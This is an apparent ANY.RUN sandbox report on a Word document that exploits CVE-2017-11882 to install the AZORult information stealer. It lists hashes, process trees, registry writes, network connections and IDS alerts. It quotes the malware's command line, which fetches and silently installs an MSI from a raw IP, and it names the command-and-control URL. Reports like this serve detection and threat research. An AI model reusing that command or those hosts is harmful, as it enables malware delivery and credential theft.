Malware analysis Bunker Requsition Nov 2018.doc Malicious activity

Add for printing

File name:	Bunker Requsition Nov 2018.doc
Full analysis:	https://app.any.run/tasks/3625d91a-a59d-4396-aa32-d7af166d65a8
Verdict:	Malicious activity
Threats:	AZORult can steal banking information, including passwords and credit card details, as well as cryptocurrency. This constantly updated information stealer malware should not be taken lightly, as it continues to be an active threat. A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. Malware Trends Tracker >>>
Analysis date:	November 14, 2018, 10:24:30
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	exploit cve-2017-11882 trojan loader exe-to-msi rat azorult
Indicators:
MIME:	text/plain
File info:	ASCII text, with very long lines, with CRLF, LF line terminators
MD5:	C6F7F7A26D6D6B0A15902E1846ABAC8D
SHA1:	4AE01713F4596D67F1185C3F767C0F5B43089855
SHA256:	CC80949E976B515B4285A69866000442441B54A9EF56F75DB6DCF562277B0BA8
SSDEEP:	768:QmKfcZpEHUqUisx+NLBhoY52330zUUaxCbG8ibUBvlk4oYhCkt:Q4ZcUisxYtBmWHv

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (68.0.3440.106)
Google Update Helper (1.3.33.17)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

Add for printing

MALICIOUS
- Equation Editor starts application (CVE-2017-11882)
  - EQNEDT32.EXE (PID: 2700)
- Uses Microsoft Installer as loader
  - cmd.exe (PID: 1300)
- Downloads executable files from the Internet
  - msiexec.exe (PID: 3168)
- Downloads executable files from IP
  - msiexec.exe (PID: 3168)
- Connects to CnC server
  - MSIB1CA.tmp (PID: 1356)
- AZORULT was detected
  - MSIB1CA.tmp (PID: 1356)
SUSPICIOUS
- Starts CMD.EXE for commands execution
  - EQNEDT32.EXE (PID: 2700)
- Drop ExeToMSI Application
  - msiexec.exe (PID: 3168)
- Executable content was dropped or overwritten
  - msiexec.exe (PID: 3168)
- Creates files in the user directory
  - MSIB1CA.tmp (PID: 1356)
INFO
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 2004)
- Creates files in the user directory
  - WINWORD.EXE (PID: 2004)
- Writes to a desktop.ini file (may be used to cloak folders)
  - msiexec.exe (PID: 3168)
- Starts application with an unusual extension
  - msiexec.exe (PID: 3168)
- Application was dropped or rewritten from another process
  - MSIB1CA.tmp (PID: 1356)
- Application was crashed
  - EQNEDT32.EXE (PID: 2700)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

1300

cmd.exe & /C CD C: & msiexec.exe /i http://34.244.180.39/6.msi /quiet

C:\Windows\system32\cmd.exe

—

EQNEDT32.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

1356

"C:\Windows\Installer\MSIB1CA.tmp"

C:\Windows\Installer\MSIB1CA.tmp

msiexec.exe

User:

admin

Company:

Tencent Inc.

Integrity Level:

MEDIUM

Description:

Chartered Landscapes Ae Gilder Versions 8d

Exit code:

Version:

4.5.5.9

Modules

Images
c:\windows\installer\msib1ca.tmp
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winspool.drv

2004

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Bunker Requsition Nov 2018.doc"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

2700

"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

svchost.exe

User:

admin

Company:

Design Science, Inc.

Integrity Level:

MEDIUM

Description:

Microsoft Equation Editor

Exit code:

Version:

00110900

Modules

Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll

2968

msiexec.exe /i http://34.244.180.39/6.msi /quiet

C:\Windows\system32\msiexec.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows® installer

Exit code:

Version:

5.0.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

3168

C:\Windows\system32\msiexec.exe /V

C:\Windows\system32\msiexec.exe

services.exe

User:

SYSTEM

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Windows® installer

Exit code:

Version:

5.0.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

Add for printing

Total events

1 607

Read events

898

Write events

692

Delete events

Modification events


(PID) Process:	(2004) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	w+c
Value: 772B6300D4070000010000000000000000000000
(PID) Process:	(2004) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2004) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2004) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1299054607
(PID) Process:	(2004) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1299054720
(PID) Process:	(2004) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1299054721
(PID) Process:	(2004) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: D4070000B45BBE49047CD40100000000
(PID) Process:	(2004) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	o,c
Value: 6F2C6300D407000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2004) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	o,c
Value: 6F2C6300D407000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2004) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2004	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVR9F77.tmp.cvr		—
		MD5:—	SHA256:—
3168	msiexec.exe	C:\Users\admin\AppData\Local\Temp\~DF8792EE6A1B6609DD.TMP		—
		MD5:—	SHA256:—
3168	msiexec.exe	C:\Config.Msi\5dafc5.rbs		—
		MD5:—	SHA256:—
3168	msiexec.exe	C:\Users\admin\AppData\Local\Temp\~DF46A80371F1B42785.TMP		—
		MD5:—	SHA256:—
2004	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~$nker Requsition Nov 2018.doc		pgc
		MD5:—	SHA256:—
3168	msiexec.exe	C:\Windows\Installer\5dafc4.ipi		binary
		MD5:—	SHA256:—
3168	msiexec.exe	C:\Windows\Installer\MSIB032.tmp		binary
		MD5:—	SHA256:—
3168	msiexec.exe	C:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.dat		dat
		MD5:—	SHA256:—
3168	msiexec.exe	C:\Windows\Installer\MSIB1CA.tmp		executable
		MD5:—	SHA256:—
3168	msiexec.exe	C:\Windows\Installer\MSIAC39.tmp		executable
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
3168	msiexec.exe	GET	200	34.244.180.39:80	http://34.244.180.39/6.msi	IE	executable	708 Kb	suspicious
1356	MSIB1CA.tmp	POST	200	103.63.2.245:80	http://slimiyt.us/madteri/index.php	HK	text	4 b	malicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
3168	msiexec.exe	34.244.180.39:80	—	Amazon.com, Inc.	IE	suspicious
1356	MSIB1CA.tmp	103.63.2.245:80	slimiyt.us	Guochao Group limited	HK	suspicious

DNS requests

Domain	IP	Reputation
slimiyt.us	103.63.2.245	malicious

Threats

PID	Process	Class	Message
3168	msiexec.exe	A Network Trojan was detected	SC TROJAN_DOWNLOADER Malicious behavior by evader Trojan.Script.Generic
3168	msiexec.exe	Misc activity	SUSPICIOUS [PTsecurity] Executable application_x-msi Download
3168	msiexec.exe	Potential Corporate Privacy Violation	POLICY [PTsecurity] Executable application_x-msi Download
3168	msiexec.exe	Misc activity	SUSPICIOUS [PTsecurity] Executable ExeToMSI Download
1356	MSIB1CA.tmp	Misc Attack	ET DROP Spamhaus DROP Listed Traffic Inbound group 5
1356	MSIB1CA.tmp	A Network Trojan was detected	ET TROJAN AZORult Variant.4 Checkin M2
1356	MSIB1CA.tmp	A Network Trojan was detected	MALWARE [PTsecurity] AZORult client request
1356	MSIB1CA.tmp	A Network Trojan was detected	MALWARE [PTsecurity] AZORult HTTP Header

2 ETPRO signatures available at the full report

Add for printing

No debug info

General Info

Bunker Requsition Nov 2018.doc

C6F7F7A26D6D6B0A15902E1846ABAC8D

4AE01713F4596D67F1185C3F767C0F5B43089855

CC80949E976B515B4285A69866000442441B54A9EF56F75DB6DCF562277B0BA8

768:QmKfcZpEHUqUisx+NLBhoY52330zUUaxCbG8ibUBvlk4oYhCkt:Q4ZcUisxYtBmWHv

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Equation Editor starts application (CVE-2017-11882)

Uses Microsoft Installer as loader

Downloads executable files from the Internet

Downloads executable files from IP

Connects to CnC server

AZORULT was detected

SUSPICIOUS

Starts CMD.EXE for commands execution

Drop ExeToMSI Application

Executable content was dropped or overwritten

Creates files in the user directory

INFO

Reads Microsoft Office registry keys

Creates files in the user directory

Writes to a desktop.ini file (may be used to cloak folders)

Starts application with an unusual extension

Application was dropped or rewritten from another process

Application was crashed

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings